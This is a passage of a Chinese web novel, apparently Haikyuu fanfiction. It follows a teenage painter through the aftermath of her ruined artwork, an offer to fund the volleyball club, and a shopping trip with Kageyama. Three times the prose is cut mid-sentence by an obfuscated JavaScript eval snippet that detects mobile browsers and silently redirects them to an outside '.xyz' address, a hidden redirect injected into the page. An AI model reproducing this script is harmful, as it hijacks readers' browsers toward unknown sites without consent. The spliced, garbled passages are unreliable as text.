“?”她的笑容有些勉强:“桃沢,在闹什么脾气呢?至少要两名选手参赛,你不去的话,我们就要因为参赛人员不足失去资格了。” “那和我有什么关系?我原本就没想参加,是岛崎学姐你说,你是我的粉丝,关注我很久了,想和偶像一起画画,所以邀请我一起去的。” “是、是啊……” “但是学姐,你根本就不是我的粉丝,也根本就没有买过我的画,我不是你的偶像,你骗了我,我为什么要和你一起去比赛?” 岛崎浑身一僵:“怎么会呢?” “你说到的那副《春朝》,我查过了。当年被一位北海道的农场主买走,挂在了他们家的客厅里。”我看向表情十分不自然的女生,继续说:“你,岛崎学姐,父亲是银行社员,母亲是药剂师,我查遍了每一幅画的去处,都没有符合的信息。” “怎么了?岛崎学姐,我能查到很合理吧,对于我来说,每一幅画都是我孕育出的孩子,他们被怎样的家庭带走,我作为‘母亲’,当然要有记录。” 我直视她那双写满了慌张的眼睛:“也许你真的有一直在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15713287|171240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关注我,所以能认出我的技巧和字迹,但你不应该拿孩子们来骗我。” 岛崎控制不住自己,往后退了一步:“桃沢,你冷静一点……” 我嗤笑一声,察觉到口袋里的手机在震动,我随手接通电话,听到了桑岛美代复述给我的好消息。 没有意外,这件事本来就没什么悬念,动机、证据都有了,我的工作证也足以说明我的画可以作为商品售卖,归画室所有,他们确实可以赌一把,拿我的画去做财物鉴定,或者是找律师,打官司,但是他们不会这么做,朝仓不敢这么做,学校也会建议他别这么做。 我让桑岛美代把朝仓带来美术教室,有一样东西,我无论如何都想让他看了一看。 挂完电话,岛崎学姐已经趁机跑路了,她好像被我吓得不轻,我还没说什么,她就产生了逃跑的念头。 不过对于岛崎学姐,我倒没什么想追责的,她的画已经画好,就算一半功劳在我,我也不会要求她重画一副,创作不易,既然已经画完,那“她”就已经诞生了。 已经诞生的孩子,不应该被否定。 站在半开的窗户前等了一会儿,我终于听到了走廊上吵闹的声音。 听脚步声,似乎来的人不止桑岛美代和朝仓,还有其他人。 看来这位学长还是不太配合,跟着一起来的人会有谁呢?他的父母?和事佬校长?又或者是分管安全的老师? 先一步到的是美代姐,她一身职业装一丝不苟,看上去依旧端庄。 紧接着是…… 我定眼一看,饶是做好了完全的准备,也忍不住满头问号。 是架着朝仓的东峰旭前辈,和身后抱着排球,不明所以但还是乖乖跟来的影山。 这、这真是有些出乎意料了! 怎么会和他们扯上关系! 在将近一米九的东峰前辈手下,朝仓的挣扎简直就是蚍蜉撼树。 他脸涨得通红,但因为刚付出了惨痛的代价,在我面前完全不敢嚣张,只能老实下来,不情不愿地别过头:“钱也赔了,道歉信也写了,你还想做什么?” “啊。” 我被他的问题拉回思绪,眨了眨眼睛,走到画架边站定,说:“这是昨天你画花的那副画,最后再看一眼吧。” 朝仓抿起嘴唇,浑身僵硬:“……我不想看。” “你在害怕面对她吗?” “……”朝仓暗自咬牙。 他比谁都知道这幅画被毁坏成了什么样子,鲜红的颜料就像是鲜血,像是要将女人们的血全都流干,是他连回忆都不敢的可怕模样,在梦中都难以安眠,整夜全是被恶鬼缠住的画面。 但他可笑的自尊更不敢承认自己是在害怕。 朝仓瞪我一眼,三步并做两步,一口气掀掉了盖在上面的防尘布。 “!” 预想中如同地狱一般的场景并没有呈现在眼前,虽然上面依旧遍布着鲜艳的红色,可在作品彻底完成后,那些红色完美地融合在了画中,将画面硬生生地染上了说不清道不明的正气。 色彩的渲染多了一个层次,将画面的质感再次提升,在复杂绚丽的背景下,无处不在的红色像女性们为了战争流下的鲜血,却又像是纽带,将不同时代的精神紧紧地联系在了一起。 实在是……非常完美、非常巧妙的挽救。 她们像是在血泊中死去,而后又在火焰中涅槃。 “她要感谢你,你让她重获了新生。” 朝仓听到站在画架边的女生说话,声音清脆如雨滴,却重重地砸在心口。 “你想看到我无助脆弱的样子,你以为你可以用毁了她来让我崩溃,最后站在人群之外,像个旁观者一样嘲笑我的无力。” 那双碧绿色的眼眸,似乎一点一点与画中的女性们重合,平静、包容,却又有着不容忽视的锐利。 “就这种程度而已,你杀不死我。” “你做梦。” 朝仓下意识后退了一步,那些不甘和愤怒,在此刻统统转变成了畏惧。 “对、对不起……” “晚了。” 声音依旧清脆,现在听来,并不像雨滴,而像是银针叮当。 “去忏悔。” “直至你还清罪孽的那一刻。” 24.二十四条鱼 事件告一段落,我彻底退出了绘画社。 岛崎学姐不敢再来劝我参赛,听说在社团里随意拉了一个有现成作品的成员交画,勉强获得了参赛资格。 而朝仓学长如愿转学,只不过是转入了另一所学校——赔偿让他预支了一笔用于留学的费用,他给的钱不够,只能放弃定好的私立高中,去了一所公立学校。 真是可惜,据说他连面试都准备好了,结果现在根本用不上。 我的那幅画被桑岛美代带回东京,挂在画室的墙上,没几天便被一个富豪买走,收益到我手上的时候,我才知道那个富豪是斥巨资买走的,花了九万多,快十万美金。 那幅画多少有些瑕疵,我的定价没有那么高,但我相信会有人欣赏她的破碎,也欣赏她的坚韧。 果然,这位富豪姐姐就是爱上了她的灵魂,为她千金一掷。 [富婆姐姐还问,能不能请你去她家画屏风,她觉得你对浮世绘风格也很擅长。] 画室的助手姐姐给我发了一条这样的信息。 我想都没想:[婉拒了,不出差。] 换做是以前,我可能还会因为钱财考虑一下,但我现在是完全没有露面绘画的打算。 好了,关于岛崎和朝仓我不想再关注,还是得想想接下来该怎么办。 社团那边闹掰了,我又不可能放学之后在学校里当游魂,这次事件之后我也算是名人一个,大家都知道我是那个要求学长赔付千万巨款的狠人。 被人当猴看是不可能的,在找到下一个社团的空窗期,我又跟着阿月和小忠溜去了排球部。 说起来也是很奇怪,我的事明明和东峰前辈还有影山是没关系的,昨天却莫名得到了他们两个人的帮助。 之前过于匆忙,我都没来得及细问,这回又在体育馆碰见两个人,我没忍住,还是摸过去问了前因后果。 “你说我吗?”粗犷的东峰旭前辈有些不好意思,有些扭捏地摸了摸后脑勺,说:“我是回教学楼的路上碰见影山和那位桑岛小姐在追人,听说还和你有关,就干脆一起来帮忙了。” 诶?那会儿影山就已经参与进来了? 我又扭头去问影山。 小伙儿停下了手中的垫球,侧头看我,回答道:“我也是在路上碰见的,桑岛小姐说那个人弄坏了你的东西,还畏罪潜逃,所以我用排球砸了他的脑袋,他摔倒后,刚好遇见了走过来的东峰前辈。” 东峰旭表情复杂:“你那可不是用排球砸了他的脑袋,你是对着他的脑袋来了一个跳发。” 影山想了想,好像是有这么回事:“他跑的太快了,我没办法。” 东峰旭后怕道:“还好他抗砸啊。” 被跳发那种力度重击还能活泼乱跳的,只能说朝仓的头是真铁。 我忍不住眯着眼睛笑起来,朝影山勾勾手,示意他靠近一些。 影山配合地微微俯身,我的手成功按在了他的头顶,揉了揉柔顺的黑色短发。 “谢谢你影山,帮了我一个大忙。” 头顶的力度轻柔,带着女生温和的体温,像是被猫咪柔软的爪子触碰,有着不可思议的触感。 他一时间有些呆住,连对方的手收回去都没发现,默默地按住自己耳侧的头发,感动到眼眶湿润。 被摸头了…… 好感动。 这还是她第一次对自己表示这样直白的友好。 是不是说明他们两个的关系更进一步,是很好很好的朋友了? 我又对东峰旭道谢:“也谢谢东峰前辈,没有你的话,朝仓不会那么配合。” “哪里……”东峰旭又有些不好意思。 他只不过是帮忙把人带过去而已,真正让朝仓“配合”的人,是眼前这个还没他下巴高的小学妹。 真是令人惊讶,小学妹从外表上来看其实并没有很强的攻击性,相反,不管是樱粉色的长发也好,让人联想到春夏的碧绿色眼眸也好,都漂亮地让人感觉很好欺负。 当然这只是第一印象的好欺负,当这双眼睛看过来的时候,配合着一些细节上的小动作,她总能在需要的时候给人以强烈的压迫感。就好像她面对什么都无所畏惧,有一种敢把她惹急了就要做好鱼死网破准备的锐利。 就、就还挺吓人的,别说是直面面对小学妹的朝仓,他在旁边看着都觉得不敢惹。 看到好友居然和没有什么交集的东峰旭相谈甚欢,月岛萤余光一直在往那边瞟。 他们两个什么时候关系这么好了? 他暗自纳闷。 昨天的那件事,桃沢完全没有让旁人参与,后续的谈判全都由她的律师桑岛美代小姐负责。 回去的路上她没有提起结果,他还以为是不想让其他人知道(这里的其他人指跟屁虫影山和日向),所以他忍着一直没问,晚上才打了个电话过去,东扯西扯,扯了一大圈,才不经意地问出了事情经过。 详细的也没有多说,她只说了因为拿到了证据,过程十分顺利,朝仓当场就写下了道歉信,赔款晚一些时间也能到账,让他不用太担心。 既然桃沢都这么说了,他和小忠也没什么好问的,只要结果是好的,他又何必去追问她不想提起的过程。 但,东峰学长和她又是怎么回事呢? 昨天肯定还发生了一些他不知道的事。 在月岛萤琢磨这些的时候,事件的主人公小姐又和菅原学长说上话了。 月岛萤:“……” 她这个非排球部成员,怎么在排球部混的比他这个排球部首发还要好? 事实上,菅原孝支也是听说了昨天闹得沸沸扬扬的八卦,过来慰问的。 一开始他还没有把“被恶意毁坏作品的受害者”和桃沢学妹联系起来,只是后来他又听说是一个一年级的学妹遭遇了这种事,之前也有听日向提起过,厉害的桃沢学妹刚进入绘画社就获得了比赛的参赛资格。 这样推论之下,他也就猜到了桃沢学妹就是那个受害者。 刚入学不久就遇见了这种人渣,耗费心血创作的画作还被毁了个彻底……真是有够倒霉的。 菅原孝支和小学妹说话的声音不自觉就开始柔和下来,带着他自己都没察觉到的怜惜。 我当然察觉到了他的这种变化。 不止是他,我感觉清水学姐今天对我都更温柔。 我没有戳穿,暗自记下了大家对我的照顾。 时间差不多,排球部要开始他们今日的训练了。 可能是接近黄金周,要安排的事情变多,今天不只是乌养教练,排球部的顾问老师也一起到场了。 为了不打扰他们,我自觉蹲在了体育馆外的地板上盘腿坐着。 能打发时间的事有很多,今天不想画画,我选择和漫画家们聊天。 打开聊天窗口,就看到两位前辈正聊的热火朝天: [梦野:最近想登场一个新的主角,我的同学带我去见了一个很神奇的人。] [小雪:神奇在哪儿?] [梦野:……是一个很优秀,很外向,长相也很不错的女孩子。] [梦野:只是她性格有点怪怪的。] [梦野:虽然乐于助人,但是完全不管别人死活,她只是一味助人。] [小雪:?] [小雪:你管这叫助人?] [梦野:莫名其妙就能和别人产生革命情怀,连我也中招,帮她做了她原本就该做的活。] [梦野:是擅长运动的KY。] [小雪:听上去是个讨人嫌的反面角色。] [梦野:不不不,她还有极具魅力的一面。] [梦野:她是声乐部的成员,唱歌非常非常、非常非常好听。] [蜜桃:……总感觉可以理解。] [小雪:我理解不了。] ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15725283|171240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' [蜜桃:在自己擅长的领域,就算是笨蛋也能帅气起来。] [梦野:啊!就是这种感觉!你真的很懂!] 我当然懂了,身边不就有个现成的例子。 “下个星期就是黄金周了,音驹那边已经定好了行程,我们是最后一天进行练习赛。” 嗯? 我抬起头,透过门缝,看见了不知道什么时候站到门边上的两位老师。 “最后一天……也好,他们还可以再单独训练几天。” 嘶……天地可鉴,这真的不是我想偷听,是因为他俩为了避开人讨论,特意走到了门后面的位置,体育馆的铁门半开半合着,他俩根本就没看见我。 “有一个很关键的问题,合宿的话,要定在哪里比较合适?” “我已经有预选了。” “要考虑学校经费呢。” “应该,是没问题的吧……” “实在不行,我可以掏钱!” “……老师?没关系吗?” “没关系!别看我这样,我也是有存款的!” 学校的社团补助就那么多,就连派车去接年事已高的猫又教练都做不到,还得让老人家跟着一伙孩子们到处坐车跑来跑去。 但想要给孩子们一个好的练习环境,一些牺牲当然是必要的…… 武田一铁右手握拳,表情坚定。 没关系,当然没关系! “那个。” 我从没有合上的门缝中探出个头。 “呜哇!” 乌养系心和武田一铁差点没吓到跳起来。 金发青年看清楚偷听者的脸,他立刻镇定下来,纳闷地问道:“你不是月岛那小子的同学吗?在这里偷听什么呢?” “我不是故意偷听的,我就坐在门口。”我解释说。 “好吧,那种事情没什么所谓。”乌养系心随意地挥挥手:“现在是大人之间的谈话,你继续去玩自己的吧。” “不是,我刚刚听到两位说,咱们排球部经费不是很足?”我举手,看向那位穿着绿色运动套装,黑色头发有些自然卷的老师,说道:“我有在开学典礼上见过您,您是咱们学校的老师吧?也是排球部的顾问老师?” “啊,是的,同学你好,我叫武田一铁。”他没想到自己会被别的年级的学生记住,意外地推了推下滑的镜框。 “武田老师。”我顿了顿,伸手扶住门框,继续问:“我是想问一下,咱们排球部,接受投资吗?……我的意思是,如果有人愿意提供资金,这部分资金是不经过学校,直接汇入排球部经费吧?” “好像是这样。” 我立刻从地上站起来,向武田老师举荐我自己:“我!老师,我可以投啊!” 武田一铁:“啊?” 乌养系心:“别开玩笑,你今年才多大,你才高一。” 我:“高一怎么就不能搞投资了?” 乌养系心:“别拿家里的钱乱来,这不是你小孩该插手的事。” 我:“是我自己的钱!” 乌养系心:“别闹,小屁孩能有多少钱。” 我:“蛙趣,乌养老师,你劝我别乱花钱可以,但是你不能质疑我的财力啊!” 武田一铁眼看着我们就快要吵起来了,连忙劝架:“好了好了,乌养先生你少说几句,还有……这位同学,我知道你有心想帮大家,但是我们还不至于让一个学生来承担这些费用。” 小看我? 嗯? 又小看我? 我睡觉把腰杆挺得笔直,目光正的发邪。 “武田老师。” 声音中气十足,全是底气。 我从口袋里拿出一张银行卡,摆在他面前。 “我是认真的!” “你们这项目,我投了!” 爽诶! 我也成随便甩银行卡的霸总啦! 25.二十五条鱼 当然这个提议被老师婉拒了。 武田老师说,学生的钱用得良心不安,而且这些钱太多了,他不敢收。 不敢收? 话都说到这个份上了,他不敢收?? 我的额头抵住墙壁,大脑正在飞速运转。 学生的钱用得良心不安…… 那大人的钱分批次打过去,是不是就行了? 我脑袋上亮起灯泡,想到了一个绝佳的主意。 …… 时间来到下周二晚上。 今天是个十分特殊的日子,明天阿月他们就要收拾东西直接去合宿,我一下子少了三个劳动力,所以我清点了家里需要补充的材料,拉着我的好邻居影山一起去逛商场。 这小子不知道在干什么,站在楼下喊他半天都没反应。 可恶,还说什么想和我做好朋友,你就是这么对待你好朋友的,五分钟了,连门都进不去! 我双手环胸,手指不耐地敲着胳膊。 好慢,到底在干什么!要我等多久哇! 而此时的影山完全不知道发生了什么,他回家吃晚饭填饱肚子就开始洗漱。一般回家后没什么人会联系他,他也并不急着干任何事情,自然也不会猜到有人会在外头等他。 吹完湿淋淋的头发,少年像平常一样抱着排球回到自己房间,手指刚碰到窗帘,就听到楼下传来一声如同惊雷一般的喊叫—— “笨蛋影山!!” 他吓得手上一抖,立刻把半开的窗帘拉开,窗户也拉开,半个身子探出去看到底是谁在喊他。 ——一脸怒气的女生如同尾巴都炸起来的猫,碧绿的眼眸反射着路灯的光芒,樱粉色的发丝也照得毛茸茸的,她就这样出现在他的视线当中。 影山将排球丢到床上,出了房门几步蹦下楼梯,像是飞似的来到院子里,来到了少女面前。 “你找我……” “笨蛋影山,我在这里等了你十分钟啊,你再不出来我都要把你上报成失踪人口了!” 没等影山的话说完,我先不满地说他一顿:“按门铃你也听不见,喉咙喊破了也听不见,你干脆叫聋山好了!” 他挠挠后脑勺:“我刚刚在洗澡,没有听见,你可以打我电话喊我。” “废话。”我愈发不满,伸手戳在他的腹部,一边戳一边说:“我要是有你联系方式,我早就打了,你是故意的吗?笨蛋山!” “现在加。” 影山认错迅速,被我数落半天也一句反驳没有,还提出了解决方案。 我盯了他半晌,哼一声,把手机屏幕摆在他面前:“快点加。” 他这才从口袋里摸出手机,低头打开自己的聊天软件。 在安静下来的这一小段时间里,我这才静下心来,看清楚他此时的模样。 少年一头柔顺的黑发因为吹得太干而有些毛糙,下来的匆忙头也没梳,整个脑袋炸得不成样子,乱成一团,再加上他的儿童品味T恤,看上去有点好笑。 说真的,影山这张脸,放在任何一个学校里都会很受女生欢迎的。 就比如,我们班上明明有阿月一个帅哥了,女生们对一年3组的影山还是非常感兴趣,经常能从她们的交流中听到影山的名字。 我也承认他是帅的,很多次我都有被他不经意间帅到。 但是他现在……噗…… 洗完了澡的阿拉斯加就是这样子的吧?毛发蓬松的像是一朵不规则的云,感觉是蓝莓口味的,一口下去可能会很好吃。 我忍不住嘲笑他:“你的头发也太炸了,往里面它吹气好像都能飞起来。” 影山下意识按住自己脑袋两边飞起来的头发。 “我想拜托你和我一起去商场买些东西。”我问道:“你需要先梳梳头吗?反正离商场关门也还早。” 他慎重地点点头,让我在这里稍微再等等他,他马上就来。 这回影山倒是没让我等那么久,而且他一出现,又帅了我好一大跳。 少年很聪明的用沾了水的梳子将炸起来的头发梳平,身上的衣服也换成了深蓝色的短袖衬衣和黑色的工装裤。 可能是因为他本身比例就很好,身上也有薄肌,这身衣服穿在他身上格外帅气,让我都不禁抵住下巴点点头,承认他确实有几分姿色。 带着一个大帅哥出门,免不了备受关注。 我早有准备,在进入商场之前,从背包里掏出一个暗色的棒球帽扣在头上。 注意到影山的视线,我抬头看他,他低头看我。 他总是喜欢看着我停一会儿再说话,这次也是一样。 “你为什么要突然戴帽子?”他问。 我看他好像就是随口一问的样子,也就随口一答:“这里太亮,我畏光。” “畏光?白天怎没见你……”影山话还没说完,我一把揪住他的衣角,拉着他往前走:“好啦好啦,先进去再说,今天要买的东西很多的。” 牵引着自己往前走的力度几乎无法察觉,他低头看着捏住自己衣角的那只手,心里的某一处莫名像是被羽毛抚过,总感觉身体哪里突然开始痒痒的,手掌按住胸口,那种感觉才得到了片刻的缓解。 然后在皮肤不经意间相触时越发明显。 少年暗蓝色的眼眸低垂着,似是在看着那只手出神,不过下一秒,他便在女生差点撞到店铺矮小的装饰物时一把将她拉住。 我“啊”了一声,后知后觉自己差点撞到东西,眨了眨眼睛,才看向旁边的影山,“你长得这么高,居然能看到这里有个这么矮的东西?” “因为我在看你的手。”影山说:“顺便就看见了。” 看、看、看我的手? 看我的手干什么? 我脸上一热,迅速把手收回来,防备地往旁边挪了几步:“我的手有什么好看的?” “有很好看,手型好看,手指好看,指甲也修剪的很好,好像也有在保养,上次不小心碰到,比我的手软很多。” 影山抵着下巴思考:“你是怎么保养得那么好的?” 原本这些夸奖还听得我有些害羞,随着他越发正直的发言,我一颗的少女心也逐渐停止跳动。 我就知道。 这家伙根本就不可能说肉麻的话。 我无语地扯了扯嘴角,说道:“如果你是在奇怪这个的话,那是因为女生的皮下脂肪比男生旺盛,骨骼没有男生那样坚硬,手部的劳动强度和频率也没有男生高,所以女生的手才会更软。” 他的脑袋上恍然大悟地亮起灯泡:“是这样吗?” “当然了,笨蛋影山。” “喂,不要叫我笨蛋。” 我拉长音调:“好哦——” 但还是偷偷小声叫他笨蛋影山。 他听见了,不过他什么都没说,只是嘴角往下抿了抿,看上去凶巴巴的。 一路坐着电梯上楼,我目标十分明确地直奔三楼一家书画用品社,顺便在门口拿了个小推车。 我边叮嘱他跟紧我别乱跑,自顾自地说了许多,回头才发现身后根本空无一人,连我的小推车都不见了。 “……” 我就说怎么半天影山都没给我“嗯”一句,原来他早就在这花花世界里迷失了方向……带着我的小推车一起。 真是讨厌。 果然我就不该让他推着我的小推车,我还没玩过呢。 我不满地鼓起腮帮子,站在原地思考了三秒,我决定先去买我想要的小物件。 首先是炭笔。我的铅笔和炭笔是同一时期备满的,但铅笔叠出来的画面反光让我很少使用它作画,大部分时间我用的都是炭笔,所以之前的铅笔还没用完过,炭笔倒是每次来我都会买点回去。 我弯着腰寻找我需要的牌子,抽了两盒软碳揣怀里。 哦对了,还有橡皮。 我顺便抽了一块樱花橡皮一起揣走。 这个橡皮真的很好用,擦得巨干净,提亮和细节都可以考它来达到我想要的效果,而且如果把它切成三角形的话,就能画一些线形细节。只不过很神奇的是,它总是在我想要用的时候莫名其妙消失,每次都找半天,嗯,刚好这次来采购,再拎一盒回去算了。 然后是素描纸…… 拿一袋拿一袋。 碳粉…… 拿一罐拿一罐。 水粉笔…… 拿一套吧,拿一套吧,上次用丙烯颜料画画没洗干净画笔,那几支笔干了直接硬掉了,完全用不了了。 这一路逛下来,我怀里已经多了不少东西。 最后的那一大面墙都是卖的颜料,我还没想到要补充什么颜色,手里就拿了一罐白色颜料揣怀里了,揣完才想起来上次来的时候抱了好多回去,于是又艰难地把白罐罐放回去。 抬头看到货架最上面那一层的颜料盒,我抬手去够它,却发现不管怎么伸直手,甚至还踮了脚,我和那盒颜料始终差一小段距离够不着。 怎么会放那么高啊? 那种价格不是应该放在最显眼最容易拿到的地方,告诉大家它很容易得到,从而忽略它过高的标价吗? 我收回手,依旧没有放弃地抬头看着那盒颜料。 就在这个时候,有人从身后靠近,伸手轻而易举地抓住了我看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15734742|171240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中的颜料盒。 他身上的味道有些熟悉,所以胸口蹭过我的肩膀时,我下意识是接纳对方的,完全没有升起该有的警惕心。 直到他都将颜料盒拿下来了,我才反应过来,迅速回身,同时猛地后退一步,后背也撞在了实木的货架上。 嘶……疼疼疼。 这一下撞得有点狠,我都能感觉到身后的颜料罐罐轻微地晃动了一瞬。 “没事吧?” 熟悉的声音从斜上方传来,我揉着肩颈的位置抬头看去,果然是影山那臭小子。 他乖乖地将颜料盒放在我面前,问:“你刚刚是不是想拿这个?” “是这个……不是,你走路怎么没声音啊?”我忍不住用空出来的那只手用力地戳在近在咫尺的腹部,一边戳一边表达我的不满:“而且你刚刚去哪里了?乱跑不说,还带走了我的小推车。” “我刚刚看见了那边的人像,有些好奇。”影山指着他刚刚来的方向,眼里又闪烁着感兴趣的小星星:“是大卫诶,大卫。” 他有在美术教室看到过石膏像,老师介绍的时候就说那个是米开朗琪罗雕塑的大卫。 “看到大卫有什么好激动的。”我不明所以。 影山却一样一样帮我把怀里的材料全都放到小推车里,伸手抓住了我的手腕:“去看看吧。” “喂!” “走吧,去看看吧!” “……” 劝阻无果,我只好顺着他的力道跟着他一起往雕塑区走去。 少年一手拉着推车,一手牵着我,走的还飞快。 异性牵手,肌肤相亲。 哇…… 暧昧,好暧昧。 没等我暧昧多久,影山猛地停下来,指着阿波罗说:“你看,那个是大卫吧?” 我抬头扫了一眼,无言地停顿几秒,回答:“那是阿波罗。” “那个呢?是大卫吧?” “……那是‘小卫’。” “大卫的弟弟吗?难怪长得那么像。” “不,他的原名是朱利亚诺·美第奇,你看他前额的头发是不是和大卫挺像的?他们都是米开朗琪罗的雕塑作品,所以我们都叫他小卫。” “那那个是大卫吗?” “那是赫尔墨斯……”我忍不住吐槽:“小卫和阿波罗也就算了,他们确实有些地方相似,还都是侧头,但赫尔墨斯完全不一样吧!他的头发很明显上面多出一层啊!” 我算是知道了,这家伙知道个屁的大卫,他觉得所有半身石膏像都是大卫。 连续猜错好几个,而且还没有认出大卫雕像,影山的积极性似乎有些受挫:“抱歉,我美术课上明明有认真听的。” “道什么歉?这些石膏确实有点难认,不怪你。”我伸手安抚性地拍拍他肩膀。 他还是有些不高兴。 我干脆拉他到真正的大卫面前,给他一个一个科普谁是谁,出自于哪里,有着怎样的故事,以及平常画画练习一般会画哪个石膏。 听完之后,影山只觉得自己的脑袋里全都是知识点,他现在充满了力量,站在所有半身石膏像前,他一认一个准。 我欣慰地点点头,夸他一句:“不错,你的记忆力很棒啊,你看,下次你就不会认错了。” 有这种学习速度,他学什么都会成功的。 少年终于又恢复了精神,他兴高采烈地连连点头,还微微俯身,靠近了我一些:“谢谢你,桃沢。” “……”我的呼吸都停滞了一瞬,伸手推开他的脸:“知道了,别离这么近。” “你还有什么要买的吗?” “有,我还要去化妆品店买个美妆蛋,楼下商场也行,那里好像也有卖。” 要去商场的话,就要先把账结掉,到负一楼去。 我先一步转身往前走,却突然被影山拽住衣角。 我奇怪地看向他,“怎么了?” 他的视线停在我的手腕上,十分直白:“我能牵你的手吗?” 我:“不行。” 影山:“为什么?” 我:“凭什么?” 影山:“……” 他的头发蔫下来,但还是尝试朝我伸出手,并说服我:“我也想像菅原学长一样摸……” “不行。”我把他的手拍掉,冷酷无情道:“不许碰我。” 少年看上去更蔫了,他默默转身,半趴在推车的扶手上艰难前行,背影看上去有几分孤单,几分落寞,几分失落,几分难过。 我:“……” 我出现幻觉了吗? 总感觉这一幕似曾相识。 26.二十六条鱼 好在少年的情绪来的快去的也快。 我跟在他后面走了一会儿,他就不记得刚刚被我拒绝的事情,和我站在货架前讨论什么零食好吃。 我喜欢吃甜口,所以理所当然买了很多甜味的零食,比如巧克力、巧克力抹茶夹心饼干、芝士小蛋糕和牛奶布丁。 影山的喜好就比较单一,他好像平常不怎么吃零食,而且还是咸口偏微辣口的。 “这能好吃吗?”我捏着那袋薯片,思考之后又从货架上拎出来同一个牌子的蜂蜜芝士味薯条,“你看这个,我买这个口味还从来没有翻过车呢。” “不,肯定是辣味咖喱的更好吃。” “蜂蜜芝士的更好吃!” “咖喱的更好吃!” “蜂蜜的更好吃!” 影山在口味上和我产生了严重分歧。 我抬手停止这幼儿园式的争吵,一锤定音:“都买,今天我倒要看看,谁才是今天口味争霸赛的胜者!” “口味争霸赛……”影山听我这么说,于是又往推车里塞了几个咸口的薯片。 我感觉我的推车简直被污染了,我抱头尖叫:“你在干什么!” “如果没有足够的参赛选手,你的口味争霸赛还有什么意义?” “……” 哈?不是,这不是咸党和甜党之间的决斗吗?你放再多也都是咸口啊! 我合理怀疑是影山自己想吃,所以才把这些薯片全都放进来的。 ……算了,孩子只是想吃点薯片而已,买吧买吧,买吧,都买。 最后,除了计划里要买的东西,我们还多买了一大袋千奇百怪的小包装薯片和薯条。 一出商场,我们就迫不及待地找了个椅子坐下,开始拆自己认为最好吃的那一袋小包装薯片。 我拆的当然是蜂蜜芝士。 看了看里面香甜可口,白白胖胖的薯条,我弯起嘴角,边递给他,边自信地说:“你尝尝吧,这个肯定是第一名。” 影山也拆了一袋咖喱味的给我。 我们交换了薯条薯片,各自抱着自己的那一包,拿出第一片,同时放入了嘴里。 嚼嚼嚼。 影山眼前一亮,侧头看我:“这个确实很好吃!” “那当然了!”我将嘴里的辣味咽下去,品了品,又从里头拿出一片放进嘴里:“你这个……有点辣,倒也不是不能接受,还好吧,能吃。” “那今天的口味争霸赛冠军是谁?” “在我心里还是蜂蜜芝士第一。” “其他口味的呢?” “吃完这袋不想吃了,其他的以后再尝尝吧。” “那以后再比。” 我点点头:“行,以后再比。” 比赛的过程意外和谐,我们都放松了身体,靠在椅子上一边品尝着对方推荐的口味,一边有一搭没一搭的聊着天。 就这么坐了一会儿—— “嗯?这不是小飞雄吗?” 一个听上去有些轻浮的声音穿过人群,从身后传过来。 小飞雄?什么小飞雄? 我没听过这个名字,也觉得他的声音陌生,理所当然以为他在喊别人。 倒是身边的影山身体一僵,背都整个挺起来,脸上表情一片空白。 “啪。” 一只手拍在了影山的肩膀上。 他没什么反应,我反而还吓一跳,下意识朝后头看去,入目却是一张十分明媚的帅脸。 少年的年纪也不大,有着一头咖色的短发,发尾翘起来的弧度很好看,更衬得他皮肤白,脸又小。 他的五官柔和,眼睛超大,笑起来的时候甜甜的,像是刚刚路过的那家糖果店里的棉花糖。 他的声音也是甜甜的,音量放轻,态度亲昵:“小——飞——雄——” “及、及川前辈。”影山硬着头皮回头,“晚上好。” “晚上好啊。”被叫做“及川前辈”的帅气少年绕到我们面前站定,带着笑意的视线在我和影山身上转了一圈,“带女朋友来逛街?” “!”影山耳尖迅速红起来,说话也有些结巴:“女、女……不是的,桃、桃沢是我的邻居。” “邻居?”及川拉长了音调,狐疑地看着我们:“一起逛街,一起吃薯片,一起坐在人来人往的椅子上聊天的邻居?” 影山没觉得他说的这些有什么,挠挠头,应了一声:“是啊。” 我看了看略显拘谨的影山,又看了看这位帅气的前辈,拿走影山手上的薯条往前递了递:“吃薯条吗?及川前辈。” 他眉梢一挑,拒绝道:“谢谢,不过不用了……你认识我?” 我说:“不认识,但影山这么喊你呀。” 影山被点到名字,立刻介绍道:“这位是我初中时期的学长,及川彻学长,是青叶城西高校的学生。” 我点点头。 影山认识的前辈,那估计也是打排球的了。 不过话说回来—— “原来你叫影山飞雄啊。” 影山飞雄:“是啊。” 及川彻:“……噗。” 这下他相信两个人只是邻居了,怎么会有人都到一起逛街一起吃零食这一步了连对方的名字都还不知道啊? 他忍不住笑出声来:“你们这个‘邻居’做的还真是有意思,哈哈哈哈哈哈,小桃才知道小飞雄的名字吗?” 小桃? 